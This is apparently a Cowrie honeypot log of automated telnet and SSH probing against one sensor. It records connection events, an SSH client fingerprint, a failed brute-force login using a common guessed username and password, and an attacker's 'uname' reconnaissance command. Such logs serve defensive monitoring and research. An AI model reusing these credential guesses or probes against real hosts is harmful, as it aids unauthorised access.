{"eventid":"cowrie.session.closed","duration":30.958281755447388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.118529Z","src_ip":"104.236.196.85","session":"a26cb884f2b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005759239196777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.123290Z","src_ip":"104.236.196.85","session":"f7a7d7f5deda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.281381607055664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.164314Z","src_ip":"51.15.157.40","session":"f6529bd5774a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32000708580017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.169947Z","src_ip":"51.15.157.40","session":"bb2f1e754905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172996997833252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.175262Z","src_ip":"157.15.20.138","session":"91990ddf023e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.542116165161133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.575800Z","src_ip":"51.15.157.40","session":"79c49d3710d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":51430,"dst_ip":"159.203.135.109","dst_port":23,"session":"708b9f47cf4a","protocol":"telnet","message":"New connection: 62.171.133.168:51430 (159.203.135.109:23) [session: 708b9f47cf4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.846933Z"}
{"eventid":"cowrie.session.closed","duration":31.007829189300537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.097116Z","src_ip":"51.15.157.40","session":"f7097bd89d64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96532678604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.113548Z","src_ip":"104.236.196.85","session":"d39f4984e4d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099138259887695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.134371Z","src_ip":"104.236.196.85","session":"831e777c72d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707456827163696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.139415Z","src_ip":"62.171.133.168","session":"23bd6936026b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60936,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5a4a3e891cf","protocol":"telnet","message":"New connection: 51.15.157.40:60936 (159.203.135.109:23) [session: d5a4a3e891cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.177765Z"}
{"eventid":"cowrie.session.closed","duration":30.45722222328186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.225079Z","src_ip":"51.15.157.40","session":"56a335a40b19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.123228549957275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.290524Z","src_ip":"157.15.20.138","session":"297ad4fec4e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53626,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6f80b6b171a","protocol":"telnet","message":"New connection: 51.15.157.40:53626 (159.203.135.109:23) [session: f6f80b6b171a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.692890Z"}
{"eventid":"cowrie.session.closed","duration":30.561163663864136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.968361Z","src_ip":"62.171.133.168","session":"1e2526ba1645","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832577228546143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:49.989457Z","src_ip":"62.171.133.168","session":"52eb45b923bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36526,"dst_ip":"159.203.135.109","dst_port":23,"session":"0774720187e1","protocol":"telnet","message":"New connection: 157.15.20.138:36526 (159.203.135.109:23) [session: 0774720187e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:50.174713Z"}
{"eventid":"cowrie.session.closed","duration":30.4799382686615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:50.277853Z","src_ip":"103.171.45.122","session":"eb63e07da806","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36534,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2404aadb05f","protocol":"telnet","message":"New connection: 157.15.20.138:36534 (159.203.135.109:23) [session: d2404aadb05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:50.708769Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":36996,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c592100425b","protocol":"telnet","message":"New connection: 103.171.45.122:36996 (159.203.135.109:23) [session: 4c592100425b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:50.731105Z"}
{"eventid":"cowrie.session.closed","duration":31.418488264083862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:50.786475Z","src_ip":"51.15.157.40","session":"fb405783862e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1103675365448,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:51.183136Z","src_ip":"157.15.20.138","session":"70cc1f4aca0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229968070983887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:51.187810Z","src_ip":"157.15.20.138","session":"be2834248ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.327847003936768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:51.362265Z","src_ip":"104.236.196.85","session":"6404a39aa7c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849172592163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:51.399904Z","src_ip":"104.236.196.85","session":"395a735e2e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54486,"dst_ip":"159.203.135.109","dst_port":23,"session":"62cf5d9cc632","protocol":"telnet","message":"New connection: 104.236.196.85:54486 (159.203.135.109:23) [session: 62cf5d9cc632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:51.789357Z"}
{"eventid":"cowrie.session.closed","duration":30.488962173461914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:52.003428Z","src_ip":"62.171.133.168","session":"12e673862b20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54488,"dst_ip":"159.203.135.109","dst_port":23,"session":"af7774651717","protocol":"telnet","message":"New connection: 104.236.196.85:54488 (159.203.135.109:23) [session: af7774651717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:52.425101Z"}
{"eventid":"cowrie.session.closed","duration":31.29316997528076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:52.604073Z","src_ip":"51.15.157.40","session":"5872c16a273b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928749799728394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:53.093967Z","src_ip":"62.171.133.168","session":"3f63b83355d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46816,"dst_ip":"159.203.135.109","dst_port":23,"session":"a911cf19604f","protocol":"telnet","message":"New connection: 51.15.157.40:46816 (159.203.135.109:23) [session: a911cf19604f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:53.279518Z"}
{"eventid":"cowrie.session.closed","duration":31.504767656326294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:53.555215Z","src_ip":"34.69.118.1","session":"c031b1003dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746084928512573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:54.011962Z","src_ip":"62.171.133.168","session":"4a67cd945c43","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:54.106792Z","src_ip":"122.168.114.167","session":"f101fa41f13a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:54.111074Z","src_ip":"122.168.114.167","session":"f101fa41f13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33564019203186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:54.122736Z","src_ip":"104.236.196.85","session":"7680863f7304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30922269821167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:54.413852Z","src_ip":"51.15.157.40","session":"ca5b8296b941","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54504,"dst_ip":"159.203.135.109","dst_port":23,"session":"4147013a2509","protocol":"telnet","message":"New connection: 104.236.196.85:54504 (159.203.135.109:23) [session: 4147013a2509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:54.621711Z"}
{"eventid":"cowrie.session.closed","duration":30.24172043800354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:55.031204Z","src_ip":"62.171.133.168","session":"1005b85dba6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10278630256653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:55.055590Z","src_ip":"34.69.118.1","session":"fa81170cfe97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26919651031494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:55.454745Z","src_ip":"104.236.196.85","session":"a91b75a512ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60950,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1d649a0e23","protocol":"telnet","message":"New connection: 34.69.118.1:60950 (159.203.135.109:23) [session: 2c1d649a0e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.108347Z"}
{"eventid":"cowrie.session.closed","duration":30.569873571395874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.203249Z","src_ip":"157.15.20.138","session":"bfdc40eb883e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542218446731567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.304347Z","src_ip":"62.171.133.168","session":"b1338874d18f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":58492,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c607fba48eb","protocol":"ssh","message":"New connection: 76.127.61.251:58492 (10.17.0.5:22) [session: 0c607fba48eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.683369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.688124Z","src_ip":"76.127.61.251","session":"0c607fba48eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.743422Z","src_ip":"76.127.61.251","session":"0c607fba48eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.761126041412354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.782817Z","src_ip":"89.39.83.70","session":"28d50bc617b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0448784828186,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.932370Z","src_ip":"157.15.20.138","session":"cebb3451fdbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.226974487304688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.977268Z","src_ip":"62.171.133.168","session":"c5af9ce0cd85","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"zaq12wsx","message":"login attempt [ftpuser/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:56.997076Z","src_ip":"76.127.61.251","session":"0c607fba48eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.042884349822998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:57.068540Z","src_ip":"62.171.133.168","session":"e4f216bb1b3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84777808189392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:57.140296Z","src_ip":"51.15.157.40","session":"4ce6f621b1a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58624,"dst_ip":"159.203.135.109","dst_port":23,"session":"10514071c942","protocol":"telnet","message":"New connection: 51.15.157.40:58624 (159.203.135.109:23) [session: 10514071c942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:57.317376Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:57.384409Z","src_ip":"122.168.114.167","session":"f101fa41f13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.4","message":"Connection lost after 27.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:57.390331Z","src_ip":"122.168.114.167","session":"f101fa41f13a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54496,"dst_ip":"159.203.135.109","dst_port":23,"session":"773cdd7b3152","protocol":"telnet","message":"New connection: 104.236.196.85:54496 (159.203.135.109:23) [session: 773cdd7b3152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.027491Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54506,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e826a30191","protocol":"telnet","message":"New connection: 104.236.196.85:54506 (159.203.135.109:23) [session: 98e826a30191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.034060Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54522,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fad8916578e","protocol":"telnet","message":"New connection: 104.236.196.85:54522 (159.203.135.109:23) [session: 1fad8916578e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.041905Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.055353Z","src_ip":"76.127.61.251","session":"0c607fba48eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.404940843582153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.061744Z","src_ip":"62.171.133.168","session":"3190cb5a2068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54532,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd7430a7f3f7","protocol":"telnet","message":"New connection: 104.236.196.85:54532 (159.203.135.109:23) [session: dd7430a7f3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.075541Z"}
{"eventid":"cowrie.session.closed","duration":31.257455587387085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.140917Z","src_ip":"157.15.20.138","session":"8203866f6049","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645949840545654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.227021Z","src_ip":"34.69.118.1","session":"9ccdaf3be5f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3583242893219,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.497565Z","src_ip":"62.171.133.168","session":"93a96402f095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59344,"dst_ip":"159.203.135.109","dst_port":23,"session":"dde70d6cab94","protocol":"telnet","message":"New connection: 51.15.157.40:59344 (159.203.135.109:23) [session: dde70d6cab94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:58.561958Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54546,"dst_ip":"159.203.135.109","dst_port":23,"session":"9638a87c8eb8","protocol":"telnet","message":"New connection: 104.236.196.85:54546 (159.203.135.109:23) [session: 9638a87c8eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:59.126906Z"}
{"eventid":"cowrie.session.closed","duration":30.711904048919678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:59.393237Z","src_ip":"51.15.157.40","session":"99fe0d2ba3da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049720764160156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:59.879863Z","src_ip":"157.15.20.138","session":"d154debc6d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37268,"dst_ip":"159.203.135.109","dst_port":23,"session":"18835d75c162","protocol":"telnet","message":"New connection: 51.15.157.40:37268 (159.203.135.109:23) [session: 18835d75c162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:59.896632Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54548,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ddce1e08911","protocol":"telnet","message":"New connection: 104.236.196.85:54548 (159.203.135.109:23) [session: 4ddce1e08911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:00.027262Z"}
{"eventid":"cowrie.session.closed","duration":31.16545557975769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:00.136965Z","src_ip":"51.15.157.40","session":"3cda1a7ba0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18381667137146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:00.150231Z","src_ip":"157.15.20.138","session":"260723c9e2ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54550,"dst_ip":"159.203.135.109","dst_port":23,"session":"00d56b2a0f7e","protocol":"telnet","message":"New connection: 104.236.196.85:54550 (159.203.135.109:23) [session: 00d56b2a0f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:00.810762Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54560,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8548c7f187","protocol":"telnet","message":"New connection: 104.236.196.85:54560 (159.203.135.109:23) [session: 8a8548c7f187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:00.842402Z"}
{"eventid":"cowrie.session.closed","duration":30.921252727508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:01.022195Z","src_ip":"104.236.196.85","session":"e0862bb9fc61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40638,"dst_ip":"159.203.135.109","dst_port":23,"session":"0733788c6684","protocol":"telnet","message":"New connection: 51.15.157.40:40638 (159.203.135.109:23) [session: 0733788c6684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:01.176086Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42762,"dst_ip":"159.203.135.109","dst_port":23,"session":"447d12033dda","protocol":"telnet","message":"New connection: 51.15.157.40:42762 (159.203.135.109:23) [session: 447d12033dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:01.943182Z"}
{"eventid":"cowrie.session.closed","duration":30.529472827911377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:02.886938Z","src_ip":"89.39.83.70","session":"ed82553a5a48","protocol":"telnet"}
